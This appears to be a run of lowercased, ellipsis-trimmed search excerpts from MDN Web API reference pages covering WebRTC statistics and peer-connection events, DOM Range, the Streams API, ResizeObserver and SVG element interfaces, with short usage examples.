... syntax var receiverstatsid = rtcinboundrtpstreamstats.receiverid; value a domstring which contains the id of the rtcaudioreceiverstats or rtcvideoreceiverstats object which provides information about the rtcrtpreceiver which is receiving the streamed media.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.receiverid' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
the framesencoded property of the rtcoutboundrtpstreamstats dictionary indicates the total number of frames that have been encoded by this rtcrtpsender for this media source.
... syntax var framesencoded = rtcoutboundrtpstreamstats.framesencoded; value an integer value indicating the total number of video frames that this sender has encoded so far for this stream.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.framesencoded' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
the qualitylimitationreason property of the rtcoutboundrtpstreamstats dictionary is a string indicating the reason why the media quality in the stream is currently being reduced by the codec during encoding, or none if no quality reduction is being performed.
... the amount of time the encoded media has had its quality reduced in each of the potential ways that can be done can be found in qualitylimitationdurations.
... examples specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.qualitylimitationreason' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection: addstream event - Web APIs
important: this event has been removed from the webrtc specification.
... bubbles no cancelable no interface mediastreamevent event handler property rtcpeerconnection.onaddstream you can, similarly, watch for streams to be removed from the connection by monitoring the removestream event.
... if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser sends addstream or track.
... you can also use the addeventlistener() method to set an event listener: pc.addeventlistener("addstream", ev => doaddstream(ev.stream), false); ...
RTCPeerConnection.connectionState - Web APIs
the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer connection by returning one of the string values specified by the enum rtcpeerconnectionstate.
... this value was in the rtcsignalingstate enum (and therefore found by reading the value of the signalingstate) property until the may 13, 2016 draft of the specification.
...*/ var connectionstate = pc.connectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.connectionstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getIdentityAssertion() - Web APIs
if the assertion cannot be generated, an idpassertionerror will be sent to the object.
... it is not expected for the application dealing with the rtcpeerconnection: this is automatically done; an explicit call only allows to anticipate the need.
... specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.getidentityassertion()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: idpassertionerror event - Web APIs
an event handler for this event can be added using the rtcpeerconnection.onidpassertionerror property.
... bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpassertionerror warning: this event is no longer used; instead, you can detect an assertion error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpassertionerror' in that specification.
... candidate recommendation ...
RTCPeerConnection: idpvalidationerror event - Web APIs
an event handler for this event can be added using the rtcpeerconnection.onidpvalidationerror property.
... bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror warning: this event is no longer used; instead, you can detect a validation error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in that specification.
... candidate recommendation ...
RTCPeerConnection.onaddstream - Web APIs
the event is sent immediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation.
... important: this property has been removed from the specification; you should now use rtcpeerconnection.ontrack to watch for track events instead.
... example this code, based on an older version of our signaling and video calling sample, responds to addstream events by setting the video source for a <video> element to the stream specified in the event, and then enabling a "hang up" button in the app's user interface.
... pc.onaddstream = function(event) { document.getelementbyid("received_video").srcobject = event.stream; document.getelementbyid("hangup-button").disabled = false; }; you can also use addeventlistener() to add a handler for addstream events to an rtcpeerconnection.
RTCPeerConnection.removeTrack() - Web APIs
the rtcpeerconnection.removetrack() method tells the local end of the connection to stop sending media from the specified track, without actually removing the corresponding rtcrtpsender from the list of senders as reported by rtcpeerconnection.getsenders().
...a negotiationneeded event is sent to the rtcpeerconnection to let the local end know this negotiation must occur.
... var pc, sender; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.setIdentityProvider() - Web APIs
the rtcpeerconnection.setidentityprovider() method sets the identity provider (idp) to the triplet given in parameter: its name, the protocol used to communicate with it (optional) and an optional username.
... protocol optional is a domstring representing the protocol used to communicate with the idp.
... example var pc = new peerconnection(); pc.setidentityassertion("developer.mozilla.org"); specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.setidentityprovider()' in that specification.
... candidate recommendation ...
RTCPeerConnection: signalingstatechange event - Web APIs
an signalingstatechange event is sent to an rtcpeerconnection to notify it that its signaling state, as indicated by the signalingstate property, has changed.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onsignalingstatechange examples given an rtcpeerconnection, pc, and an updatestatus() function that presents status information to the user, this code sets up an event handler to let the user know when the ice negotiation process finishes up.
... pc.addeventlistener("signalingstatechange", ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification.
... candidate recommendation ...
RTCPeerConnection: track event - Web APIs
bubbles yes cancelable no interface rtctrackevent event handler property ontrack by the time this event is delivered, the new track has been fully added to the peer connection.
... you can also assign the event handler function to the ontrack property, rather than use addeventlistener().
... pc.ontrack = e => { videoelement.srcobject = e.streams[0]; hangupbutton.disabled = false; return false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: idpvalidationerror event - Web APIs
an event handler for this event can be added via the rtcpeerconnection.onidpvalidationerror property.
... bubbles no cancelable no interface rtcidentityerrorevent event handler property onidpvalidationerror important: this event is no longer used; it was removed from the specification long ago.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.rtpTimestamp - Web APIs
the read-only rtptimestamp property of the rtcrtpcontributingsource interface returns a domhighrestimestamp indicating the source-generated time at which the media contained int he packet was first sampled or obtained.
... syntax let rtptimestamp = rtcrtpcontributingsource.rtptimestamp value an integer value specifiying a source-generated timestamp indicating the time at which the media in this packet, scheduled for play out at the time indicated by timestamp, was initially sampled or generated.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtptimestamp' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource.timestamp - Web APIs
the read-only timestamp property of the rtcrtpcontributingsource interface returns a domhighrestimestamp indicating the most recent time of playout of an rtp packet from the source.
... syntax var domhighrestimestamp = rtcrtpcontributingsource.timestamp value a domhighrestimestamp which indicates the time at which the most recent rtp packet from the corresponding source was played out.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'timestamp' in that specification.
... candidate recommendation initial definition.
RTCRtpContributingSource - Web APIs
rtptimestamp optional the rtp timestamp of the media played out at the time indicated by timestamp.
... this value is a source-generated time value which can be used to help with sequencing and synchronization.
... timestamp optional a domhighrestimestamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's mediastreamtrack specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcontributingsource' in that specification.
... candidate recommendation initial definition.
RTCRtpEncodingParameters.maxBitrate - Web APIs
in addition, there's no guarantee that the network interface can support the specified bandwidth, in which case the actual bandwidth will be lower.
... this value is computed using the standard transport independent application specific maximum (tias) bandwidth as defined by rfc 3890, section 6.2.2; this is the maximum bandwidth needed without considering protocol overheads from ip, tcp or udp, and so forth.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.maxbitrate' in that specification.
... candidate recommendation initial definition.
RTCRtpReceiver.getParameters() - Web APIs
return value an rtcrtpreceiveparameters object indicating the current configuration of the receiver.
... examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtpreceiver.
... function getrtcpcname(receiver) { let parameters = receiver.getparameters(); return parameters.rtcp.cname; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpreceiver.getparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.dtmf - Web APIs
WebAPIRTCRtpSenderdtmf
the read-only dtmf property on the rtcrtpsender interface returns a rtcdtmfsender object which can be used to send dtmf tones over the rtcpeerconnection .
... syntax var dtmfsender = rtcrtpsender.dtmf; value an rtcdtmfsender which can be used to send dtmf over the rtp session, or null if the track being carried by the rtp session or the rtcpeerconnection as a whole doesn't support dtmf.
... only audio tracks can support dtmf, and typically only one audio track per rtcpeerconnection will have an associated rtcdtmfsender example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.dtmf' in that specification.
... candidate recommendation ...
RTCRtpSender.getParameters() - Web APIs
return value an rtcrtpsendparameters object indicating the current configuration of the sender.
... examples this example gets the sender's current transaction id; the transaction id uniquely identifies the current set of parameters, to ensure that calls to setparameters() are always handled in the correct order, avoiding inadvertently overwriting parameters with older parameters.
... function getsendertransactionid(sender) { let parameters = sender.getparameters(); return parameters.transactionid; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getparameters()' in that specification.
... candidate recommendation initial definition.
RTCRtpSender.setStreams() - Web APIs
function addtrackstostream(stream) { let senders = pc.getsenders(); senders.foreach((sender) => { if (sender.track && (sender.transport.state === connected)) { sender.setstreams(stream); } }); } after calling the rtcpeerconnection method getsenders() to get the list of the connection's senders, the addtrackstostream() function iterates over the list.
... for each sender, if the sender's track is non-null and its transport's state is connected, we call setstreams() to add the track to the stream specified.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpsender.setstreams()' in that specification.
... candidate recommendation ...
RTCRtpStreamStats.ssrc - Web APIs
the manner in which these values are generated is not mandated by the specification, although it does make recommendations.
... note: the specification includes an example that generates values for ssrc using md5.
...do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.ssrc' in that specification.
... candidate recommendation initial definition.
RTCRtpTransceiver.currentDirection - Web APIs
the read-only rtcrtptransceiver property currentdirection is a string which indicates the current directionality of the transceiver.
... you can examine and set the transceiver's preferred directionality using direction property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.currentdirection' in that specification.
... candidate recommendation ...
RTCSessionDescription.toJSON() - Web APIs
syntax var jsonvalue = sd.tojson(); the result value is a json object containing the following values: "type", containing the value of the rtcsessiondescription.type property and can be one of the following values: "offer", "answer", "pranswer" or null.
... example // sd is a rtcsessiondescriptor alert(json.stringify(sd)); // this call the tojson() method behind the scene.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription: tojson()' in that specification.
... candidate recommendation initial specification.
RTCSessionDescription - Web APIs
each rtcsessiondescription consists of a description type indicating which part of the offer/answer negotiation process it describes and of the sdp descriptor of the session.
...the session negotiation process begins with an offer being sent from the caller to the callee.
... example signalingchannel.onmessage = function (evt) { if (!pc) start(false); var message = json.parse(evt.data); if (message.sdp) pc.setremotedescription(new rtcsessiondescription(message), function () { // if we received an offer, we need to answer if (pc.remotedescription.type == "offer") pc.createanswer(localdesccreated, logerror); }, logerror); else pc.addicecandidate(new rtcicecandidate(message.candidate), function () {}, logerror); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription' in that specification.
... candidate recommendation initial definition.
RTCStats.id - Web APIs
WebAPIRTCStatsid
using the id, you can correlate two or more rtcstats-based objects in order to monitor statistics over time for a given webrtc object, such as an rtp stream, an rtcpeerconnection, or an rtcdatachannel.
... the format of the id string is not defined by the specification, so you cannot reliably make any assumptions about the contents of the string, or assume that the format of the string will remain unchanged for a given object type.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstats.id' in that specification.
... candidate recommendation initial definition.
Range.cloneRange() - Web APIs
WebAPIRangecloneRange
the range.clonerange() method returns a range object with boundary points identical to the cloned range.
... syntax clone = range.clonerange(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); clone = range.clonerange(); specifications specification status comment domthe definition of 'range.clonerange()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.clonerange()' in that specification.
... obsolete initial specification.
Range.collapsed - Web APIs
WebAPIRangecollapsed
the range.collapsed read-only property returns a boolean flag indicating whether the start and end points of the range are at the same position.
... syntax iscollapsed = range.collapsed; example let range = document.createrange(); range.setstart(startnode, startoffset); range.setend(endnode, endoffset); iscollapsed = range.collapsed; specifications specification status comment domthe definition of 'range.collapsed' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.collapsed' in that specification.
... obsolete initial specification.
Range.compareBoundaryPoints() - Web APIs
syntax compare = range.compareboundarypoints(how, sourcerange); return value compare a number, -1, 0, or 1, indicating whether the corresponding boundary-point of the range is respectively before, equal to, or after the corresponding boundary-point of sourcerange.
... example var range, sourcerange, compare; range = document.createrange(); range.selectnode(document.getelementsbytagname("div")[0]); sourcerange = document.createrange(); sourcerange.selectnode(document.getelementsbytagname("div")[1]); compare = range.compareboundarypoints(range.start_to_end, sourcerange); specifications specification status comment domthe definition of 'range.compareboundarypoints()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.compareboundarypoints()' in that specification.
... obsolete initial specification.
Range.toString() - Web APIs
WebAPIRangetoString
alerting the contents of a range makes an implicit tostring() call, so comparing range and text through an alert dialog is ineffective.
...look at the output below.</p> <p id="log"></p> javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); document.getelementbyid('log').textcontent = range.tostring(); result specifications specification status comment domthe definition of 'range.tostring()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.tostring()' in that specification.
... obsolete initial specification.
ReadableStream.tee() - Web APIs
you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache.
... since a response body cannot be consumed more than once, you’d need two copies to do this.
... to cancel the stream you then need to cancel both resulting branches.
...current chunk = ' + chunk; list.appendchild(listitem); // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment streamsthe definition of 'tee()' in that specification.
ReadableStream - Web APIs
methods readablestream.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer.
...while the stream is locked, no other reader can be acquired until this one is released.
...while the stream is locked, no other reader can be acquired until this one is released.
... // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestream' in that specification.
ReadableStreamDefaultController - Web APIs
readablestreamdefaultcontroller instances are created automatically during readablestream construction.
... readablestreamdefaultcontroller.error() causes any future interactions with the associated stream to error.
...a cancel() function is also provided to stop the generation if readablestream.cancel() is called for any reason.
...e(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'readablestreamdefaultcontroller' in that specification.
ReadableStreamDefaultReader - Web APIs
the readablestreamdefaultreader interface of the streams api represents a default reader that can be used to read stream data supplied from a network (e.g.
... methods readablestreamdefaultreader.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer.
... examples in the following example, an artifical response is created to stream html fragments fetched from another resource to the browser.
... // tell the browser that we have finished sending data controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment streamsthe definition of 'readablestreamdefaultreader' in that specification.
RelativeOrientationSensor - Web APIs
the relativeorientationsensor interface of the the sensor apis describes the device's physical orientation without regard to the earth's reference coordinate system.
... if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server.
... } else { console.log("no permissions to use relativeorientationsensor."); } }); specifications specification status comment orientation sensorthe definition of 'relativeorientationsensor' in that specification.
... candidate recommendation initial definition.
RenderingContext - Web APIs
renderingcontext is a webidl typedef which can refer to any one of the interfaces that represent a graphics rendering context within a <canvas> element: canvasrenderingcontext2d, webglrenderingcontext, or webgl2renderingcontext.
... by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use.
... the primary use of this type is the definition of the <canvas> element's htmlcanvaselement.getcontext() method, which returns a renderingcontext (meaning it returns any one of the rendering context types).
... specifications specification status comment html living standardthe definition of 'renderingcontext' in that specification.
Report.type - Web APIs
WebAPIReporttype
deprecation or intervention.
...currently the available types are deprecation, intervention, and crash.
... examples let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; // log the first report's report type, i.e.
... "deprecation" console.log(firstreport.type); }, options); specifications specification status comment reporting apithe definition of 'report.body' in that specification.
Request.destination - Web APIs
the destination is used by the user agent to, for example, help determine which set of rules to follow for cors purposes, or how to navigate any complicated code paths that affect how specific types of request get handled.
...others are script-based, in which case the received data is delivered to a script by calling it and passing the data along.
... syntax var destination = request.destination; value a string from the requestdestination enumerated type which indicates the type of content the request is asking for.
... example in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then save the request's destination: var myrequest = new request('flowers.jpg'); var mydestination = myrequest.destination; // returns the empty string by default specifications specification status comment fetchthe definition of 'destination' in that specification.
ResizeObserverEntry.borderBoxSize - Web APIs
the borderboxsize read-only property of the resizeobserverentry interface returns an array containing the new border box size of the observed element when the callback is run.
...for boxes with a horizontal writing-mode, this is the vertical dimension, or height; if the writing-mode is vertical, this is the horizontal dimension, or width.
...for boxes with a horizontal writing-mode, this is the horizontal dimension, or width; if the writing-mode is vertical, this is the vertical dimension, or height.
...erboxsize[0].inlinesize/10) + (entry.borderboxsize[0].blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.contentrect.width/10) + (entry.contentrect.height/10)) + 'px'; } } }); resizeobserver.observe(document.queryselector('div')); specifications specification status comment resize observerthe definition of 'target' in that specification.
ResizeObserverEntry.contentRect - Web APIs
the contentrect read-only property of the resizeobserverentry interface returns a domrectreadonly object containing the new size of the observed element when the callback is run.
... note that this is better supported than resizeobserverentry.borderboxsize or resizeobserverentry.contentboxsize, but it is left over from an earlier implementation of the resize observer api, is still included in the spec for web compat reasons, and may be deprecated in future versions.
... syntax var contentrect = resizeobserverentry.contentrect; value a domrectreadonly object containing the new size of the element indicated by the target property.
...1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); specifications specification status comment resize observerthe definition of 'contentrect' in that specification.
SVGAElement - Web APIs
svgaelement.hreflang is a domstring that reflects the hreflang attribute, indicating the language of the linked resource.
...typically used for tracking.
... svgaelement.type is a domstring that reflects the type attribute, indicating the mime type of the linked resource.
...not _blank"); } } specifications specification status comment scalable vector graphics (svg) 2 candidate recommendation replaced inheritance from svgelement by svggraphicselement and removed the interface implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by htmlhyperlinkelementutils scalable vector graphics (svg) 1.1 (second...
SVGAnimationElement: endEvent event - Web APIs
scheduled or interactive) timeline play, as well as in the case that the element was ended with a dom method.
... bubbles no cancelable no interface timeevent event handler property onend examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <button>stop animation</button> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); let btn = document.queryselector('button'); anim...
...ner('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) btn.addeventlistener('click', () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler property: animateelem.onend = () => { console.log('endevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'endevent' in that specification.
... candidate recommendation initial definition ...
targetElement - Web APIs
if no target element is being animated (for example, because the href attribute specifies an unknown element), the value returned is null.
... syntax var targetelement = someelement.targetelement; specifications specification status comment svg animations level 2the definition of 'svganimationelement.targetelement' in that specification.
... editor's draft added null as return value in case that no target element is being animated.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svganimationelement.targetelement' in that specification.
SVGCircleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 700 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" ...
... example svg content <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickcircle();"/> </svg> javascript content this function clickcircle() is called when the circle is clicked.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification.
... candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification.
SVGElement: load event - Web APIs
in the dom in the case of an embedded <svg>.
... it is basically the same as the standard load dom event.
... bubbles no cancelable no interface svgevent event handler property onload examples svgelem.addeventlistener('load', () => { console.log('svg loaded.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'load' in that specification.
... candidate recommendation initial definition ...
SVGElement: resize event - Web APIs
this event is only applicable to outermost svg elements and is dispatched after the resize operation has taken place.
... this basically implements the standard resize dom event.
... bubbles no cancelable no interface svgevent event handler property onresize examples svgelem.addeventlistener('resize', () => { console.log('svg resized.'); }) specifications specification status comment scalable vector graphics (svg) 2the definition of 'event changes in svg2' in that specification.
... candidate recommendation initial definition ...
SVGFEConvolveMatrixElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><...
... svg_edgemode_duplicate 1 corresponds to the duplicate value.
... specifications specification status comment filter effects module level 1the definition of 'svgfeconvolvematrixelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeconvolvematrixelement' in that specification.
SVGFEDiffuseLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/...
... svgfediffuselightingelement.surfacescale read only an svganimatednumber corresponding to the surfacescale attribute of the given element.
... specifications specification status comment filter effects module level 1the definition of 'svgfediffuselightingelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfediffuselightingelement' in that specification.
SVGFEDisplacementMapElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/...
... svgfedisplacementmapelement.scale read only an svganimatednumber corresponding to the scale attribute of the given element.
... specifications specification status comment filter effects module level 1the definition of 'svgfedisplacementmapelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfedisplacementmapelement' in that specification.
SVGFEDropShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1=...
... svgfedropshadowelement.stddeviationx read only an svganimatednumber corresponding to the (possibly automatically computed) x component of the stddeviationx attribute of the given element.
... svgfedropshadowelement.stddeviationy read only an svganimatednumber corresponding to the (possibly automatically computed) y component of the stddeviationy attribute of the given element.
... specifications specification status comment filter effects module level 1the definition of 'svgfedropshadowelement' in that specification.
SVGFESpecularLightingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none...
... svgfespecularlightingelement.surfacescale read only an svganimatednumber corresponding to the surfacescale attribute of the given element.
... specifications specification status comment filter effects module level 1the definition of 'svgfespecularlightingelement' in that specification.
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespecularlightingelement' in that specification.
SVGGElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151"...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggelement' in that specification.
SVGGeometryElement - Web APIs
the svggeometryelement interface represents svg elements whose rendering is defined by geometry with an equivalent path, and which can be filled and stroked.
